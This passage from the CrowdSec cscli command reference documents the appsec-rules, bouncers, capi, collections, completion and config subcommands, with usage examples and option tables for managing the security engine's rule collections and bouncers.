--dry-run -o raw # Download only, to be installed later. cscli waf-rules install crowdsecurity/crs --download-only # Install over tainted items. Can be used to restore or repair after local modifications or missing dependencies. cscli waf-rules install crowdsecurity/crs --force # Prompt for confirmation if running in an interactive terminal; otherwise, the option is ignored. cscli waf-rules install crowdsecurity/crs -i cscli waf-rules install crowdsecurity/crs --interactive ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -d, --download-only Only download packages, don't enable --dry-run Don't install or remove anything; print the execution plan --force Force install: overwrite tainted and outdated files -h, --help help for install --ignore Ignore errors when installing multiple appsec-rules -i, --interactive Ask for confirmation before proceeding ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli appsec-rules](https://docs.crowdsec.net/docs/next/cscli/cscli_appsec-rules.md) - Manage hub appsec-rules --- # cscli appsec-rules list ## cscli appsec-rules list[โ€‹](#cscli-appsec-rules-list "Direct link to cscli appsec-rules list") List appsec-rule(s) ### Synopsis[โ€‹](#synopsis "Direct link to Synopsis") List of installed/available/specified appsec-rules TEXTCOPY ``` cscli appsec-rules list [item... | -a] [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` # List enabled (installed) waf-rules. cscli waf-rules list # List all available waf-rules (installed or not). cscli waf-rules list -a # List specific waf-rules (installed or not). cscli waf-rules list crowdsecurity/crs crowdsecurity/vpatch-git-config ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -a, --all List disabled items as well -h, --help help for list ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli appsec-rules](https://docs.crowdsec.net/docs/next/cscli/cscli_appsec-rules.md) - Manage hub appsec-rules --- # cscli appsec-rules remove ## cscli appsec-rules remove[โ€‹](#cscli-appsec-rules-remove "Direct link to cscli appsec-rules remove") Remove given appsec-rule(s) ### Synopsis[โ€‹](#synopsis "Direct link to Synopsis") Remove one or more appsec-rules TEXTCOPY ``` cscli appsec-rules remove [item]... [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` # Uninstall some waf-rules. cscli waf-rules remove crowdsecurity/crs # Show the execution plan without changing anything - compact output sorted by type and name. cscli waf-rules remove crowdsecurity/crs --dry-run # Show the execution plan without changing anything - verbose output sorted by execution order. cscli waf-rules remove crowdsecurity/crs --dry-run -o raw # Uninstall and also remove the downloaded files. cscli waf-rules remove crowdsecurity/crs --purge # Remove tainted items. cscli waf-rules remove crowdsecurity/crs --force # Prompt for confirmation if running in an interactive terminal; otherwise, the option is ignored. cscli waf-rules remove crowdsecurity/crs -i cscli waf-rules remove crowdsecurity/crs --interactive ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` --all Remove all the appsec-rules --dry-run Don't install or remove anything; print the execution plan --force Force remove: remove tainted and outdated files -h, --help help for remove -i, --interactive Ask for confirmation before proceeding --purge Delete source file too ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli appsec-rules](https://docs.crowdsec.net/docs/next/cscli/cscli_appsec-rules.md) - Manage hub appsec-rules --- # cscli appsec-rules upgrade ## cscli appsec-rules upgrade[โ€‹](#cscli-appsec-rules-upgrade "Direct link to cscli appsec-rules upgrade") Upgrade given appsec-rule(s) ### Synopsis[โ€‹](#synopsis "Direct link to Synopsis") Fetch and upgrade one or more appsec-rules from the hub TEXTCOPY ``` cscli appsec-rules upgrade [item]... [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` # Upgrade some waf-rules. If they are not currently installed, they are downloaded but not installed. cscli waf-rules upgrade crowdsecurity/crs # Show the execution plan without changing anything - compact output sorted by type and name. cscli waf-rules upgrade crowdsecurity/crs --dry-run # Show the execution plan without changing anything - verbose output sorted by execution order. cscli waf-rules upgrade crowdsecurity/crs --dry-run -o raw # Upgrade over tainted items. Can be used to restore or repair after local modifications or missing dependencies. cscli waf-rules upgrade crowdsecurity/crs --force # Prompt for confirmation if running in an interactive terminal; otherwise, the option is ignored. cscli waf-rules upgrade crowdsecurity/crs -i cscli waf-rules upgrade crowdsecurity/crs --interactive ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -a, --all Upgrade all the appsec-rules --dry-run Don't install or remove anything; print the execution plan --force Force upgrade: overwrite tainted and outdated files -h, --help help for upgrade -i, --interactive Ask for confirmation before proceeding ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli appsec-rules](https://docs.crowdsec.net/docs/next/cscli/cscli_appsec-rules.md) - Manage hub appsec-rules --- # cscli bouncers ## cscli bouncers[โ€‹](#cscli-bouncers "Direct link to cscli bouncers") Manage bouncers \[requires local API] ### Synopsis[โ€‹](#synopsis "Direct link to Synopsis") To list/add/delete/prune bouncers. Note: This command requires database direct access, so is intended to be run on Local API/master. TEXTCOPY ``` cscli bouncers [action] [flags] ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -h, --help help for bouncers ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli](https://docs.crowdsec.net/docs/next/cscli/.md) - cscli allows you to manage crowdsec * [cscli bouncers add](https://docs.crowdsec.net/docs/next/cscli/cscli_bouncers_add.md) - add a single bouncer to the database * [cscli bouncers delete](https://docs.crowdsec.net/docs/next/cscli/cscli_bouncers_delete.md) - delete bouncer(s) from the database * [cscli bouncers inspect](https://docs.crowdsec.net/docs/next/cscli/cscli_bouncers_inspect.md) - inspect a bouncer by name * [cscli bouncers list](https://docs.crowdsec.net/docs/next/cscli/cscli_bouncers_list.md) - list all bouncers within the database * [cscli bouncers prune](https://docs.crowdsec.net/docs/next/cscli/cscli_bouncers_prune.md) - prune multiple bouncers from the database --- # cscli bouncers add ## cscli bouncers add[โ€‹](#cscli-bouncers-add "Direct link to cscli bouncers add") add a single bouncer to the database TEXTCOPY ``` cscli bouncers add MyBouncerName [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` cscli bouncers add MyBouncerName cscli bouncers add MyBouncerName --key ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -h, --help help for add -k, --key string api key for the bouncer ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli bouncers](https://docs.crowdsec.net/docs/next/cscli/cscli_bouncers.md) - Manage bouncers \[requires local API] --- # cscli bouncers delete ## cscli bouncers delete[โ€‹](#cscli-bouncers-delete "Direct link to cscli bouncers delete") delete bouncer(s) from the database TEXTCOPY ``` cscli bouncers delete MyBouncerName [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` cscli bouncers delete "bouncer1" "bouncer2" ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -h, --help help for delete --ignore-missing don't print errors if one or more bouncers don't exist ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli bouncers](https://docs.crowdsec.net/docs/next/cscli/cscli_bouncers.md) - Manage bouncers \[requires local API] --- # cscli bouncers inspect ## cscli bouncers inspect[โ€‹](#cscli-bouncers-inspect "Direct link to cscli bouncers inspect") inspect a bouncer by name TEXTCOPY ``` cscli bouncers inspect [bouncer_name] [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` cscli bouncers inspect "bouncer1" ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -h, --help help for inspect ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli bouncers](https://docs.crowdsec.net/docs/next/cscli/cscli_bouncers.md) - Manage bouncers \[requires local API] --- # cscli bouncers list ## cscli bouncers list[โ€‹](#cscli-bouncers-list "Direct link to cscli bouncers list") list all bouncers within the database TEXTCOPY ``` cscli bouncers list [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` cscli bouncers list ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -h, --help help for list ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli bouncers](https://docs.crowdsec.net/docs/next/cscli/cscli_bouncers.md) - Manage bouncers \[requires local API] --- # cscli bouncers prune ## cscli bouncers prune[โ€‹](#cscli-bouncers-prune "Direct link to cscli bouncers prune") prune multiple bouncers from the database TEXTCOPY ``` cscli bouncers prune [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` cscli bouncers prune -d 45m cscli bouncers prune -d 45m --force ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -d, --duration duration duration of time since last pull (default 1h0m0s) --force force prune without asking for confirmation -h, --help help for prune ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli bouncers](https://docs.crowdsec.net/docs/next/cscli/cscli_bouncers.md) - Manage bouncers \[requires local API] --- # cscli capi ## cscli capi[โ€‹](#cscli-capi "Direct link to cscli capi") Manage interaction with Central API (CAPI) TEXTCOPY ``` cscli capi [action] [flags] ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -h, --help help for capi ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli](https://docs.crowdsec.net/docs/next/cscli/.md) - cscli allows you to manage crowdsec * [cscli capi register](https://docs.crowdsec.net/docs/next/cscli/cscli_capi_register.md) - Register to Central API (CAPI) * [cscli capi status](https://docs.crowdsec.net/docs/next/cscli/cscli_capi_status.md) - Check status with the Central API (CAPI) --- # cscli capi register ## cscli capi register[โ€‹](#cscli-capi-register "Direct link to cscli capi register") Register to Central API (CAPI) TEXTCOPY ``` cscli capi register [flags] ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -f, --file string output file destination -h, --help help for register ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli capi](https://docs.crowdsec.net/docs/next/cscli/cscli_capi.md) - Manage interaction with Central API (CAPI) --- # cscli capi status ## cscli capi status[โ€‹](#cscli-capi-status "Direct link to cscli capi status") Check status with the Central API (CAPI) TEXTCOPY ``` cscli capi status [flags] ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -h, --help help for status ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli capi](https://docs.crowdsec.net/docs/next/cscli/cscli_capi.md) - Manage interaction with Central API (CAPI) --- # cscli collections ## cscli collections[โ€‹](#cscli-collections "Direct link to cscli collections") Manage hub collections TEXTCOPY ``` cscli collections [item]... [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` cscli collections list -a cscli collections install crowdsecurity/http-cve crowdsecurity/iptables cscli collections inspect crowdsecurity/http-cve crowdsecurity/iptables cscli collections upgrade crowdsecurity/http-cve crowdsecurity/iptables cscli collections remove crowdsecurity/http-cve crowdsecurity/iptables ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -h, --help help for collections ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli](https://docs.crowdsec.net/docs/next/cscli/.md) - cscli allows you to manage crowdsec * [cscli collections inspect](https://docs.crowdsec.net/docs/next/cscli/cscli_collections_inspect.md) - Inspect given collection(s) * [cscli collections install](https://docs.crowdsec.net/docs/next/cscli/cscli_collections_install.md) - Install given collection(s) * [cscli collections list](https://docs.crowdsec.net/docs/next/cscli/cscli_collections_list.md) - List collection(s) * [cscli collections remove](https://docs.crowdsec.net/docs/next/cscli/cscli_collections_remove.md) - Remove given collection(s) * [cscli collections upgrade](https://docs.crowdsec.net/docs/next/cscli/cscli_collections_upgrade.md) - Upgrade given collection(s) --- # cscli collections inspect ## cscli collections inspect[โ€‹](#cscli-collections-inspect "Direct link to cscli collections inspect") Inspect given collection(s) ### Synopsis[โ€‹](#synopsis "Direct link to Synopsis") Inspect the state of one or more collections TEXTCOPY ``` cscli collections inspect [item]... [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` # Display metadata, state, and dependencies of collections (installed or not). cscli collections inspect crowdsecurity/http-cve crowdsecurity/iptables # If the collection is installed, its metrics are collected and shown as well (with an error if crowdsec is not running). # To avoid this, use --no-metrics. cscli collections inspect crowdsecurity/http-cve crowdsecurity/iptables --no-metrics # Display difference between a tainted item and the latest one, or the reason for the taint if it's a dependency. cscli collections inspect crowdsecurity/http-cve --diff # Reverse the above diff cscli collections inspect crowdsecurity/http-cve --diff --rev ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` --diff Show diff with latest version (for tainted items) -h, --help help for inspect --no-metrics Don't show metrics (when cscli.output=human) --rev Reverse diff output -u, --url string Prometheus url ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli collections](https://docs.crowdsec.net/docs/next/cscli/cscli_collections.md) - Manage hub collections --- # cscli collections install ## cscli collections install[โ€‹](#cscli-collections-install "Direct link to cscli collections install") Install given collection(s) ### Synopsis[โ€‹](#synopsis "Direct link to Synopsis") Fetch and install one or more collections from the hub TEXTCOPY ``` cscli collections install [item]... [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` # Install some collections. cscli collections install crowdsecurity/http-cve crowdsecurity/iptables # Show the execution plan without changing anything - compact output sorted by type and name. cscli collections install crowdsecurity/http-cve crowdsecurity/iptables --dry-run # Show the execution plan without changing anything - verbose output sorted by execution order. cscli collections install crowdsecurity/http-cve crowdsecurity/iptables --dry-run -o raw # Download only, to be installed later. cscli collections install crowdsecurity/http-cve crowdsecurity/iptables --download-only # Install over tainted items. Can be used to restore or repair after local modifications or missing dependencies. cscli collections install crowdsecurity/http-cve crowdsecurity/iptables --force # Prompt for confirmation if running in an interactive terminal; otherwise, the option is ignored. cscli collections install crowdsecurity/http-cve crowdsecurity/iptables -i cscli collections install crowdsecurity/http-cve crowdsecurity/iptables --interactive ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -d, --download-only Only download packages, don't enable --dry-run Don't install or remove anything; print the execution plan --force Force install: overwrite tainted and outdated files -h, --help help for install --ignore Ignore errors when installing multiple collections -i, --interactive Ask for confirmation before proceeding ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli collections](https://docs.crowdsec.net/docs/next/cscli/cscli_collections.md) - Manage hub collections --- # cscli collections list ## cscli collections list[โ€‹](#cscli-collections-list "Direct link to cscli collections list") List collection(s) ### Synopsis[โ€‹](#synopsis "Direct link to Synopsis") List of installed/available/specified collections TEXTCOPY ``` cscli collections list [item... | -a] [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` # List enabled (installed) collections. cscli collections list # List all available collections (installed or not). cscli collections list -a # List specific collections (installed or not). cscli collections list crowdsecurity/http-cve crowdsecurity/iptables ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -a, --all List disabled items as well -h, --help help for list ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli collections](https://docs.crowdsec.net/docs/next/cscli/cscli_collections.md) - Manage hub collections --- # cscli collections remove ## cscli collections remove[โ€‹](#cscli-collections-remove "Direct link to cscli collections remove") Remove given collection(s) ### Synopsis[โ€‹](#synopsis "Direct link to Synopsis") Remove one or more collections TEXTCOPY ``` cscli collections remove [item]... [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` # Uninstall some collections. cscli collections remove crowdsecurity/http-cve crowdsecurity/iptables # Show the execution plan without changing anything - compact output sorted by type and name. cscli collections remove crowdsecurity/http-cve crowdsecurity/iptables --dry-run # Show the execution plan without changing anything - verbose output sorted by execution order. cscli collections remove crowdsecurity/http-cve crowdsecurity/iptables --dry-run -o raw # Uninstall and also remove the downloaded files. cscli collections remove crowdsecurity/http-cve crowdsecurity/iptables --purge # Remove tainted items. cscli collections remove crowdsecurity/http-cve crowdsecurity/iptables --force # Prompt for confirmation if running in an interactive terminal; otherwise, the option is ignored. cscli collections remove crowdsecurity/http-cve crowdsecurity/iptables -i cscli collections remove crowdsecurity/http-cve crowdsecurity/iptables --interactive ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` --all Remove all the collections --dry-run Don't install or remove anything; print the execution plan --force Force remove: remove tainted and outdated files -h, --help help for remove -i, --interactive Ask for confirmation before proceeding --purge Delete source file too ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli collections](https://docs.crowdsec.net/docs/next/cscli/cscli_collections.md) - Manage hub collections --- # cscli collections upgrade ## cscli collections upgrade[โ€‹](#cscli-collections-upgrade "Direct link to cscli collections upgrade") Upgrade given collection(s) ### Synopsis[โ€‹](#synopsis "Direct link to Synopsis") Fetch and upgrade one or more collections from the hub TEXTCOPY ``` cscli collections upgrade [item]... [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` # Upgrade some collections. If they are not currently installed, they are downloaded but not installed. cscli collections upgrade crowdsecurity/http-cve crowdsecurity/iptables # Show the execution plan without changing anything - compact output sorted by type and name. cscli collections upgrade crowdsecurity/http-cve crowdsecurity/iptables --dry-run # Show the execution plan without changing anything - verbose output sorted by execution order. cscli collections upgrade crowdsecurity/http-cve crowdsecurity/iptables --dry-run -o raw # Upgrade over tainted items. Can be used to restore or repair after local modifications or missing dependencies. cscli collections upgrade crowdsecurity/http-cve crowdsecurity/iptables --force # Prompt for confirmation if running in an interactive terminal; otherwise, the option is ignored. cscli collections upgrade crowdsecurity/http-cve crowdsecurity/iptables -i cscli collections upgrade crowdsecurity/http-cve crowdsecurity/iptables --interactive ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -a, --all Upgrade all the collections --dry-run Don't install or remove anything; print the execution plan --force Force upgrade: overwrite tainted and outdated files -h, --help help for upgrade -i, --interactive Ask for confirmation before proceeding ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli collections](https://docs.crowdsec.net/docs/next/cscli/cscli_collections.md) - Manage hub collections --- # cscli completion ## cscli completion[โ€‹](#cscli-completion "Direct link to cscli completion") Generate completion script ### Synopsis[โ€‹](#synopsis "Direct link to Synopsis") To load completions: ### Bash:[โ€‹](#bash "Direct link to Bash:") SHCOPY ``` $ source <(cscli completion bash) # To load completions for each session, execute once: # Linux: $ cscli completion bash | sudo tee /etc/bash_completion.d/cscli $ source ~/.bashrc # macOS: $ cscli completion bash | sudo tee /usr/local/etc/bash_completion.d/cscli # Troubleshoot: If you have this error (bash: _get_comp_words_by_ref: command not found), it seems that you need "bash-completion" dependency : * Install bash-completion package $ source /etc/profile $ source <(cscli completion bash) ``` ### Zsh:[โ€‹](#zsh "Direct link to Zsh:") SHCOPY ```` # If shell completion is not already enabled in your environment, # you will need to enable it. You can execute the following once: $ echo "autoload -U compinit; compinit" >> ~/.zshrc # To load completions for each session, execute once: $ cscli completion zsh > "${fpath[1]}/_cscli" # You will need to start a new shell for this setup to take effect. ### fish: ```shell $ cscli completion fish | source # To load completions for each session, execute once: $ cscli completion fish > ~/.config/fish/completions/cscli.fish ```` ### PowerShell:[โ€‹](#powershell "Direct link to PowerShell:") PS1COPY ``` PS> cscli completion powershell | Out-String | Invoke-Expression # To load completions for every new session, run: PS> cscli completion powershell > cscli.ps1 # and source this file from your PowerShell profile. ``` TEXTCOPY ``` cscli completion [bash|zsh|powershell|fish] ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -h, --help help for completion ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli](https://docs.crowdsec.net/docs/next/cscli/.md) - cscli allows you to manage crowdsec --- # cscli config ## cscli config[โ€‹](#cscli-config "Direct link to cscli config") Allows to view current config TEXTCOPY ``` cscli config [command] [flags] ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -h, --help help for config ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli](https://docs.crowdsec.net/docs/next/cscli/.md) - cscli allows you to manage crowdsec * [cscli config feature-flags](https://docs.crowdsec.net/docs/next/cscli/cscli_config_feature-flags.md) - Displays feature flag status * [cscli config show](https://docs.crowdsec.net/docs/next/cscli/cscli_config_show.md) - Displays current config * [cscli config show-yaml](https://docs.crowdsec.net/docs/next/cscli/cscli_config_show-yaml.md) - Displays merged config.yaml + config.yaml.local --- # cscli config feature-flags ## cscli config feature-flags[โ€‹](#cscli-config-feature-flags "Direct link to cscli config feature-flags") Displays feature flag status ### Synopsis[โ€‹](#synopsis "Direct link to Synopsis") Displays the supported feature flags and their current status. TEXTCOPY ``` cscli config feature-flags [flags] ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -h, --help help for feature-flags --retired Show retired features ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli config](https://docs.crowdsec.net/docs/next/cscli/cscli_config.md) - Allows to view current config --- # cscli config show ## cscli config show[โ€‹](#cscli-config-show "Direct link to cscli config show") Displays current config ### Synopsis[โ€‹](#synopsis "Direct link to Synopsis") Displays the current cli configuration. TEXTCOPY ``` cscli config show [flags] ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -h, --help help for show --key string Display only this value (Config.API.Server.ListenURI) ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli config](https://docs.crowdsec.net/docs/next/cscli/cscli_config.md) - Allows to view current config --- # cscli config show-yaml ## cscli config show-yaml[โ€‹](#cscli-config-show-yaml "Direct link to cscli config show-yaml") Displays merged config.yaml + config.yaml.local TEXTCOPY ``` cscli config show-yaml 